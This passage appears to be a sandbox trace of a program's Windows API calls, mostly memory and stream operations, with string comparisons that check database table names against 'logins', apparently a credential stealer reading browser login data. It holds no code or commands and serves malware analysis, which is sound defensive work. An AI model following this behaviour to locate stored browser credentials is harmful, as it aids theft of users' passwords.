(uFlags=0x40, uBytes=0x8d) returned 0x76a938 [0054.777] LocalAlloc (uFlags=0x40, uBytes=0x84) returned 0x940a908 [0054.777] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.777] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.777] IStream:LockRegion (This=0x76e6f0, libOffset=0xc, cb=0x0, dwLockType=0x0) returned 0x0 [0054.777] IStream:SetSize (This=0x76e6f0, libNewSize=0x940a908) returned 0x0 [0054.777] LocalAlloc (uFlags=0x40, uBytes=0x8c) returned 0x76aa68 [0054.777] LocalAlloc (uFlags=0x40, uBytes=0x84) returned 0x940a908 [0054.777] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.777] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.777] IStream:LockRegion (This=0x76e6f0, libOffset=0x10, cb=0x0, dwLockType=0x0) returned 0x0 [0054.777] IStream:SetSize (This=0x76e6f0, libNewSize=0x940a908) returned 0x0 [0054.777] LocalAlloc (uFlags=0x40, uBytes=0x8c) returned 0x76a9d0 [0054.777] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.777] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.777] IStream:LockRegion (This=0x76e6f0, libOffset=0x14, cb=0x0, dwLockType=0x0) returned 0x0 [0054.777] IStream:SetSize (This=0x76e6f0, libNewSize=0xef77b) returned 0x0 [0054.777] LocalAlloc (uFlags=0x40, uBytes=0x8c) returned 0x76a770 [0054.777] LocalAlloc (uFlags=0x40, uBytes=0xd1) returned 0x76a2e8 [0054.777] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.777] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.777] IStream:LockRegion (This=0x76e6f0, libOffset=0x15, cb=0x0, dwLockType=0x0) returned 0x0 [0054.777] IStream:SetSize (This=0x76e6f0, libNewSize=0x76a2e8) returned 0x0 [0054.777] LocalAlloc (uFlags=0x40, uBytes=0xd9) returned 0x9410768 [0054.777] IUnknown:Release (This=0x76e6f0) returned 0x0 [0054.777] lstrcmpiA (lpString1="meta", lpString2="logins") returned 1 [0054.777] LocalFree (hMem=0x76a938) returned 0x0 [0054.777] LocalFree (hMem=0x76aa68) returned 0x0 [0054.777] LocalFree (hMem=0x76a9d0) returned 0x0 [0054.777] LocalFree (hMem=0x76a770) returned 0x0 [0054.777] LocalFree (hMem=0x9410768) returned 0x0 [0054.777] LocalFree (hMem=0x763978) returned 0x0 [0054.777] IStream:LockRegion (This=0x76e560, libOffset=0x67cf, cb=0x0, dwLockType=0x0) returned 0x0 [0054.777] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.778] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.778] IStream:LockRegion (This=0x76e560, libOffset=0x67cf, cb=0x0, dwLockType=0x0) returned 0x0 [0054.778] IStream:SetSize (This=0x76e560, libNewSize=0xef7bf) returned 0x0 [0054.778] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.778] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.778] IStream:LockRegion (This=0x76e560, libOffset=0x67d0, cb=0x0, dwLockType=0x0) returned 0x0 [0054.778] IStream:SetSize (This=0x76e560, libNewSize=0xef7bf) returned 0x0 [0054.778] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x75e920 [0054.778] CreateStreamOnHGlobal (in: hGlobal=0x0, fDeleteOnRelease=1, ppstm=0xef7d4 | out: ppstm=0xef7d4*=0x76e6f0) returned 0x0 [0054.778] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.778] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.778] IStream:LockRegion (This=0x76e560, libOffset=0x67d1, cb=0x0, dwLockType=0x0) returned 0x0 [0054.778] IStream:SetSize (This=0x76e560, libNewSize=0x75e920) returned 0x0 [0054.778] IStream:Commit (This=0x76e6f0, grfCommitFlags=0x75e920) returned 0x0 [0054.778] LocalFree (hMem=0x75e920) returned 0x0 [0054.778] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.778] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x0) returned 0x0 [0054.778] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.778] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.778] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x0) returned 0x0 [0054.778] IStream:SetSize (This=0x76e6f0, libNewSize=0xef77f) returned 0x0 [0054.778] LocalAlloc (uFlags=0x40, uBytes=0x94) returned 0x763978 [0054.778] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.778] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.778] IStream:LockRegion (This=0x76e6f0, libOffset=0x1, cb=0x0, dwLockType=0x0) returned 0x0 [0054.778] IStream:SetSize (This=0x76e6f0, libNewSize=0xef77f) returned 0x0 [0054.778] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.778] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.778] IStream:LockRegion (This=0x76e6f0, libOffset=0x2, cb=0x0, dwLockType=0x0) returned 0x0 [0054.778] IStream:SetSize (This=0x76e6f0, libNewSize=0xef77f) returned 0x0 [0054.778] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.778] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.778] IStream:LockRegion (This=0x76e6f0, libOffset=0x3, cb=0x0, dwLockType=0x0) returned 0x0 [0054.778] IStream:SetSize (This=0x76e6f0, libNewSize=0xef77f) returned 0x0 [0054.778] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.778] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.778] IStream:LockRegion (This=0x76e6f0, libOffset=0x4, cb=0x0, dwLockType=0x0) returned 0x0 [0054.778] IStream:SetSize (This=0x76e6f0, libNewSize=0xef77f) returned 0x0 [0054.778] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.778] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.778] IStream:LockRegion (This=0x76e6f0, libOffset=0x5, cb=0x0, dwLockType=0x0) returned 0x0 [0054.778] IStream:SetSize (This=0x76e6f0, libNewSize=0xef77f) returned 0x0 [0054.778] LocalAlloc (uFlags=0x40, uBytes=0x94) returned 0x763a18 [0054.778] LocalAlloc (uFlags=0x40, uBytes=0x85) returned 0x940a908 [0054.778] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.778] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.778] IStream:LockRegion (This=0x76e6f0, libOffset=0x6, cb=0x0, dwLockType=0x0) returned 0x0 [0054.778] IStream:SetSize (This=0x76e6f0, libNewSize=0x940a908) returned 0x0 [0054.778] LocalAlloc (uFlags=0x40, uBytes=0x8d) returned 0x76a770 [0054.778] LocalFree (hMem=0x940a908) returned 0x0 [0054.778] LocalAlloc (uFlags=0x40, uBytes=0x97) returned 0x764558 [0054.778] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.778] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.778] IStream:LockRegion (This=0x76e6f0, libOffset=0xb, cb=0x0, dwLockType=0x0) returned 0x0 [0054.779] IStream:SetSize (This=0x76e6f0, libNewSize=0x764558) returned 0x0 [0054.779] LocalAlloc (uFlags=0x40, uBytes=0x9f) returned 0x7590a8 [0054.779] LocalFree (hMem=0x764558) returned 0x0 [0054.779] LocalAlloc (uFlags=0x40, uBytes=0x84) returned 0x940a908 [0054.779] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.779] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.779] IStream:LockRegion (This=0x76e6f0, libOffset=0x22, cb=0x0, dwLockType=0x0) returned 0x0 [0054.779] IStream:SetSize (This=0x76e6f0, libNewSize=0x940a908) returned 0x0 [0054.779] LocalAlloc (uFlags=0x40, uBytes=0x8c) returned 0x76a9d0 [0054.779] LocalFree (hMem=0x940a908) returned 0x0 [0054.779] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.779] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.779] IStream:LockRegion (This=0x76e6f0, libOffset=0x26, cb=0x0, dwLockType=0x0) returned 0x0 [0054.779] IStream:SetSize (This=0x76e6f0, libNewSize=0xef77b) returned 0x0 [0054.779] LocalAlloc (uFlags=0x40, uBytes=0x8c) returned 0x76aa68 [0054.779] LocalAlloc (uFlags=0x40, uBytes=0x88) returned 0x940a908 [0054.779] LocalFree (hMem=0x763978) returned 0x0 [0054.779] IUnknown:Release (This=0x76e6f0) returned 0x0 [0054.779] lstrcmpiA (lpString1="meta", lpString2="logins") returned 1 [0054.779] LocalFree (hMem=0x76a770) returned 0x0 [0054.779] LocalFree (hMem=0x7590a8) returned 0x0 [0054.779] LocalFree (hMem=0x76a9d0) returned 0x0 [0054.779] LocalFree (hMem=0x76aa68) returned 0x0 [0054.779] LocalFree (hMem=0x940a908) returned 0x0 [0054.779] LocalFree (hMem=0x763a18) returned 0x0 [0054.779] IStream:LockRegion (This=0x76e560, libOffset=0x648a, cb=0x0, dwLockType=0x0) returned 0x0 [0054.779] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.779] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.779] IStream:LockRegion (This=0x76e560, libOffset=0x648a, cb=0x0, dwLockType=0x0) returned 0x0 [0054.779] IStream:SetSize (This=0x76e560, libNewSize=0xef7bf) returned 0x0 [0054.779] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.779] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.779] IStream:LockRegion (This=0x76e560, libOffset=0x648b, cb=0x0, dwLockType=0x0) returned 0x0 [0054.779] IStream:SetSize (This=0x76e560, libNewSize=0xef7bf) returned 0x0 [0054.779] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.779] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.779] IStream:LockRegion (This=0x76e560, libOffset=0x648c, cb=0x0, dwLockType=0x0) returned 0x0 [0054.779] IStream:SetSize (This=0x76e560, libNewSize=0xef7bf) returned 0x0 [0054.779] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x75e920 [0054.779] CreateStreamOnHGlobal (in: hGlobal=0x0, fDeleteOnRelease=1, ppstm=0xef7d4 | out: ppstm=0xef7d4*=0x76e6f0) returned 0x0 [0054.779] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.779] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.779] IStream:LockRegion (This=0x76e560, libOffset=0x648d, cb=0x0, dwLockType=0x0) returned 0x0 [0054.779] IStream:SetSize (This=0x76e560, libNewSize=0x75e920) returned 0x0 [0054.779] IStream:Commit (This=0x76e6f0, grfCommitFlags=0x75e920) returned 0x0 [0054.779] LocalFree (hMem=0x75e920) returned 0x0 [0054.779] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.779] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x0) returned 0x0 [0054.779] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.779] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.779] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x0) returned 0x0 [0054.779] IStream:SetSize (This=0x76e6f0, libNewSize=0xef77f) returned 0x0 [0054.779] LocalAlloc (uFlags=0x40, uBytes=0x98) returned 0x763a18 [0054.779] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.779] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.779] IStream:LockRegion (This=0x76e6f0, libOffset=0x1, cb=0x0, dwLockType=0x0) returned 0x0 [0054.779] IStream:SetSize (This=0x76e6f0, libNewSize=0xef77f) returned 0x0 [0054.779] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.779] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.779] IStream:LockRegion (This=0x76e6f0, libOffset=0x2, cb=0x0, dwLockType=0x0) returned 0x0 [0054.780] IStream:SetSize (This=0x76e6f0, libNewSize=0xef77f) returned 0x0 [0054.780] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.780] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.780] IStream:LockRegion (This=0x76e6f0, libOffset=0x3, cb=0x0, dwLockType=0x0) returned 0x0 [0054.780] IStream:SetSize (This=0x76e6f0, libNewSize=0xef77f) returned 0x0 [0054.780] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.780] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.780] IStream:LockRegion (This=0x76e6f0, libOffset=0x4, cb=0x0, dwLockType=0x0) returned 0x0 [0054.780] IStream:SetSize (This=0x76e6f0, libNewSize=0xef77f) returned 0x0 [0054.780] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.780] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.780] IStream:LockRegion (This=0x76e6f0, libOffset=0x5, cb=0x0, dwLockType=0x0) returned 0x0 [0054.780] IStream:SetSize (This=0x76e6f0, libNewSize=0xef77f) returned 0x0 [0054.780] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.780] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.780] IStream:LockRegion (This=0x76e6f0, libOffset=0x6, cb=0x0, dwLockType=0x0) returned 0x0 [0054.780] IStream:SetSize (This=0x76e6f0, libNewSize=0xef77f) returned 0x0 [0054.780] LocalAlloc (uFlags=0x40, uBytes=0x94) returned 0x763978 [0054.780] LocalAlloc (uFlags=0x40, uBytes=0x85) returned 0x940a908 [0054.780] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.780] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.780] IStream:LockRegion (This=0x76e6f0, libOffset=0x7, cb=0x0, dwLockType=0x0) returned 0x0 [0054.780] IStream:SetSize (This=0x76e6f0, libNewSize=0x940a908) returned 0x0 [0054.780] LocalAlloc (uFlags=0x40, uBytes=0x8d) returned 0x76aa68 [0054.780] LocalFree (hMem=0x940a908) returned 0x0 [0054.780] LocalAlloc (uFlags=0x40, uBytes=0x88) returned 0x940a908 [0054.780] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.780] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.780] IStream:LockRegion (This=0x76e6f0, libOffset=0xc, cb=0x0, dwLockType=0x0) returned 0x0 [0054.780] IStream:SetSize (This=0x76e6f0, libNewSize=0x940a908) returned 0x0 [0054.780] LocalAlloc (uFlags=0x40, uBytes=0x90) returned 0x76a9d0 [0054.780] LocalFree (hMem=0x940a908) returned 0x0 [0054.780] LocalAlloc (uFlags=0x40, uBytes=0x88) returned 0x940a908 [0054.780] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.780] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.780] IStream:LockRegion (This=0x76e6f0, libOffset=0x14, cb=0x0, dwLockType=0x0) returned 0x0 [0054.780] IStream:SetSize (This=0x76e6f0, libNewSize=0x940a908) returned 0x0 [0054.780] LocalAlloc (uFlags=0x40, uBytes=0x90) returned 0x76a770 [0054.780] LocalFree (hMem=0x940a908) returned 0x0 [0054.780] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.780] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.780] IStream:LockRegion (This=0x76e6f0, libOffset=0x1c, cb=0x0, dwLockType=0x0) returned 0x0 [0054.780] IStream:SetSize (This=0x76e6f0, libNewSize=0xef77b) returned 0x0 [0054.780] LocalAlloc (uFlags=0x40, uBytes=0x8c) returned 0x76a938 [0054.780] LocalAlloc (uFlags=0x40, uBytes=0x33d) returned 0x74cdf0 [0054.780] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.780] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.780] IStream:LockRegion (This=0x76e6f0, libOffset=0x1d, cb=0x0, dwLockType=0x0) returned 0x0 [0054.780] IStream:SetSize (This=0x76e6f0, libNewSize=0x74cdf0) returned 0x0 [0054.780] LocalAlloc (uFlags=0x40, uBytes=0x345) returned 0x75e920 [0054.780] LocalFree (hMem=0x74cdf0) returned 0x0 [0054.780] LocalFree (hMem=0x763a18) returned 0x0 [0054.780] IUnknown:Release (This=0x76e6f0) returned 0x0 [0054.780] lstrcmpiA (lpString1="keywords", lpString2="logins") returned -1 [0054.780] LocalFree (hMem=0x76aa68) returned 0x0 [0054.780] LocalFree (hMem=0x76a9d0) returned 0x0 [0054.780] LocalFree (hMem=0x76a770) returned 0x0 [0054.780] LocalFree (hMem=0x76a938) returned 0x0 [0054.780] LocalFree (hMem=0x75e920) returned 0x0 [0054.780] LocalFree (hMem=0x763978) returned 0x0 [0054.780] IStream:LockRegion (This=0x76e560, libOffset=0x637b, cb=0x0, dwLockType=0x0) returned 0x0 [0054.780] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.780] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.780] IStream:LockRegion (This=0x76e560, libOffset=0x637b, cb=0x0, dwLockType=0x0) returned 0x0 [0054.781] IStream:SetSize (This=0x76e560, libNewSize=0xef7bf) returned 0x0 [0054.781] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.781] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.781] IStream:LockRegion (This=0x76e560, libOffset=0x637c, cb=0x0, dwLockType=0x0) returned 0x0 [0054.781] IStream:SetSize (This=0x76e560, libNewSize=0xef7bf) returned 0x0 [0054.781] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.781] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.781] IStream:LockRegion (This=0x76e560, libOffset=0x637d, cb=0x0, dwLockType=0x0) returned 0x0 [0054.781] IStream:SetSize (This=0x76e560, libNewSize=0xef7bf) returned 0x0 [0054.781] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x75e920 [0054.781] CreateStreamOnHGlobal (in: hGlobal=0x0, fDeleteOnRelease=1, ppstm=0xef7d4 | out: ppstm=0xef7d4*=0x76e6f0) returned 0x0 [0054.781] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.781] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.781] IStream:LockRegion (This=0x76e560, libOffset=0x637e, cb=0x0, dwLockType=0x0) returned 0x0 [0054.781] IStream:SetSize (This=0x76e560, libNewSize=0x75e920) returned 0x0 [0054.781] IStream:Commit (This=0x76e6f0, grfCommitFlags=0x75e920) returned 0x0 [0054.781] LocalFree (hMem=0x75e920) returned 0x0 [0054.781] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.781] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x0) returned 0x0 [0054.781] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.781] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.781] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x0) returned 0x0 [0054.781] IStream:SetSize (This=0x76e6f0, libNewSize=0xef77f) returned 0x0 [0054.781] LocalAlloc (uFlags=0x40, uBytes=0x98) returned 0x763978 [0054.781] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.781] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.781] IStream:LockRegion (This=0x76e6f0, libOffset=0x1, cb=0x0, dwLockType=0x0) returned 0x0 [0054.781] IStream:SetSize (This=0x76e6f0, libNewSize=0xef77f) returned 0x0 [0054.781] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.781] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.781] IStream:LockRegion (This=0x76e6f0, libOffset=0x2, cb=0x0, dwLockType=0x0) returned 0x0 [0054.781] IStream:SetSize (This=0x76e6f0, libNewSize=0xef77f) returned 0x0 [0054.781] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.781] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.781] IStream:LockRegion (This=0x76e6f0, libOffset=0x3, cb=0x0, dwLockType=0x0) returned 0x0 [0054.781] IStream:SetSize (This=0x76e6f0, libNewSize=0xef77f) returned 0x0 [0054.781] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.781] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.781] IStream:LockRegion (This=0x76e6f0, libOffset=0x4, cb=0x0, dwLockType=0x0) returned 0x0 [0054.781] IStream:SetSize (This=0x76e6f0, libNewSize=0xef77f) returned 0x0 [0054.781] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.781] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.781] IStream:LockRegion (This=0x76e6f0, libOffset=0x5, cb=0x0, dwLockType=0x0) returned 0x0 [0054.781] IStream:SetSize (This=0x76e6f0, libNewSize=0xef77f) returned 0x0 [0054.781] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.781] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.781] IStream:LockRegion (This=0x76e6f0, libOffset=0x6, cb=0x0, dwLockType=0x0) returned 0x0 [0054.781] IStream:SetSize (This=0x76e6f0, libNewSize=0xef77f) returned 0x0 [0054.781] LocalAlloc (uFlags=0x40, uBytes=0x94) returned 0x763a18 [0054.781] LocalAlloc (uFlags=0x40, uBytes=0x85) returned 0x940a908 [0054.781] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.781] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.781] IStream:LockRegion (This=0x76e6f0, libOffset=0x7, cb=0x0, dwLockType=0x0) returned 0x0 [0054.781] IStream:SetSize (This=0x76e6f0, libNewSize=0x940a908) returned 0x0 [0054.781] LocalAlloc (uFlags=0x40, uBytes=0x8d) returned 0x76a938 [0054.781] LocalFree (hMem=0x940a908) returned 0x0 [0054.781] LocalAlloc (uFlags=0x40, uBytes=0x88) returned 0x940a908 [0054.781] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.781] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.781] IStream:LockRegion (This=0x76e6f0, libOffset=0xc, cb=0x0, dwLockType=0x0) returned 0x0 [0054.781] IStream:SetSize (This=0x76e6f0, libNewSize=0x940a908) returned 0x0 [0054.782] LocalAlloc (uFlags=0x40, uBytes=0x90) returned 0x76a770 [0054.782] LocalFree (hMem=0x940a908) returned 0x0 [0054.782] LocalAlloc (uFlags=0x40, uBytes=0x88) returned 0x940a908 [0054.782] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.782] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.782] IStream:LockRegion (This=0x76e6f0, libOffset=0x14, cb=0x0, dwLockType=0x0) returned 0x0 [0054.782] IStream:SetSize (This=0x76e6f0, libNewSize=0x940a908) returned 0x0 [0054.782] LocalAlloc (uFlags=0x40, uBytes=0x90) returned 0x76a9d0 [0054.782] LocalFree (hMem=0x940a908) returned 0x0 [0054.782] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.782] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.782] IStream:LockRegion (This=0x76e6f0, libOffset=0x1c, cb=0x0, dwLockType=0x0) returned 0x0 [0054.782] IStream:SetSize (This=0x76e6f0, libNewSize=0xef77b) returned 0x0 [0054.782] LocalAlloc (uFlags=0x40, uBytes=0x8c) returned 0x76aa68 [0054.782] LocalAlloc (uFlags=0x40, uBytes=0x13e) returned 0x740208 [0054.782] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.782] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.782] IStream:LockRegion (This=0x76e6f0, libOffset=0x1d, cb=0x0, dwLockType=0x0) returned 0x0 [0054.782] IStream:SetSize (This=0x76e6f0, libNewSize=0x740208) returned 0x0 [0054.782] LocalAlloc (uFlags=0x40, uBytes=0x146) returned 0x761ea0 [0054.782] LocalFree (hMem=0x740208) returned 0x0 [0054.782] LocalFree (hMem=0x763978) returned 0x0 [0054.782] IUnknown:Release (This=0x76e6f0) returned 0x0 [0054.782] lstrcmpiA (lpString1="autofill", lpString2="logins") returned -1 [0054.782] LocalFree (hMem=0x76a938) returned 0x0 [0054.782] LocalFree (hMem=0x76a770) returned 0x0 [0054.782] LocalFree (hMem=0x76a9d0) returned 0x0 [0054.782] LocalFree (hMem=0x76aa68) returned 0x0 [0054.782] LocalFree (hMem=0x761ea0) returned 0x0 [0054.782] LocalFree (hMem=0x763a18) returned 0x0 [0054.782] IStream:LockRegion (This=0x76e560, libOffset=0x6459, cb=0x0, 